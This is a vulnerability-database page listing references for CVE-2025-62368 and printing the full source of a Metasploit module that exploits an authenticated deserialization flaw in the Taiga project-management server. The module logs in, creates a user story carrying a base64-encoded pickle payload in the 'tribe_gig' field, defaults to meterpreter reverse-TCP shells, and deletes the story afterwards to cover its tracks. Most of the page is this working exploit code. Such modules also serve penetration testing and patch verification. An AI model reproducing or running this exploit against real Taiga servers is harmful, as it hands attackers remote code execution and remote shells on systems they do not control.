| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2025-62368 | 28 Oct 202523:12 | โ | circl | |
| Taiga ไปฃ็ ้ฎ้ขๆผๆด | 28 Oct 202500:00 | โ | cnnvd | |
| CVE-2025-62368 | 28 Oct 202520:08 | โ | cve | |
| CVE-2025-62368 Taiga Authenticated Remote Code Execution | 28 Oct 202520:08 | โ | cvelist | |
| EUVD-2025-36562 | 28 Oct 202520:08 | โ | euvd | |
| Taiga tribe_gig authenticated unserialize remote code execution | 7 Jan 202618:58 | โ | metasploit | |
| CVE-2025-62368 | 28 Oct 202521:15 | โ | nvd | |
| CVE-2025-62368 Taiga Authenticated Remote Code Execution | 28 Oct 202520:08 | โ | osv | |
| PT-2025-44208 | 28 Oct 202500:00 | โ | ptsecurity | |
| Metasploit Wrap-Up 01/09/2026 | 9 Jan 202623:07 | โ | rapid7blog |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class TaigaClientException < StandardError; end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
'Description' => %q{
This module exploits an unserialization flaw by
creating a userstory in a project.
},
'License' => MSF_LICENSE,
'Author' => [
'rootjog', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
['CVE', '2025-62368']
],
'Platform' => %w[linux unix python],
'Targets' => [
[
'Python payload',
{
'Arch' => [ ARCH_PYTHON ],
'Platform' => 'python',
'Type' => :python,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ],
'Platform' => %w[unix linux],
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultOptions' => {
'SSL' => false
},
'Privileged' => false,
'DisclosureDate' => '2025-10-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end
def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
username: user,
password: pass,
type: 'normal'
}.to_json,
'keep_cookies' => true
)
raise TaigaClientException, 'Login failed' if res&.code != 200
parsed_json = res.get_json_document
@token = parsed_json['auth_token']
@taiga_user_id = parsed_json['id']
end
def get_project
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)
raise TaigaClientException, 'Get projects failed!' if res&.code != 200
projects = res.get_json_document
projects.each do |project|
@taiga_project = project['id'] if project['is_kanban_activated']
end
raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
end
def get_status
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
'vars_get' => { 'project' => @taiga_project },
'method' => 'GET',
'ctype' => 'application/json',
'keep_cookies' => true
)
raise TaigaClientException, 'Get status failed!' if res&.code != 200
status_data = res.get_json_document
raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'
status_data['statuses'].each do |stat|
return stat['id'] if stat['name'] == 'New'
end
end
def delete_userstory(id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
'method' => 'DELETE',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'keep_cookies' => true
)
end
def send_payload(payload, project_status)
temp_project = Rex::Text.rand_text_alpha(10..15)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{@token}" },
'data' => {
_attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
tribe_gig: payload.to_s
}.to_json
)
end
def check
cookie_jar.clear
begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
project_status = get_status
rescue TaigaClientException => e
return Exploit::CheckCode::Unknown(e)
end
sleep_time = rand(5..10)
pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
command = Rex::Text.encode_base64(pl)
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_payload(command, project_status)
end
return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201
user_story_id = res.get_json_document['id']
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204
print_status("Elapsed time: #{elapsed_time} seconds.")
return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time
Exploit::CheckCode::Safe('Target is not vulnerable')
end
def execute_command(cmd, _opts = {})
# calls some method to inject cmd to the vulnerable code.
begin
project_status = get_status
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end
print_status('Sending payload..')
res = send_payload(cmd, project_status)
print_good('Payload sent')
user_story_id = res.get_json_document['id']
print_status('Cleanup..')
res = delete_userstory(user_story_id)
print_warning('Cleanup failed') unless res&.code == 204
print_good('Userstory deleted')
end
def exploit
cookie_jar.clear
begin
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
get_project
rescue TaigaClientException => e
fail_with(Failure::UnexpectedReply, e)
end
if target['Type'] == :python
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
else
command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
end
data = Rex::Text.encode_base64(command)
execute_command(data)
end
endData
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation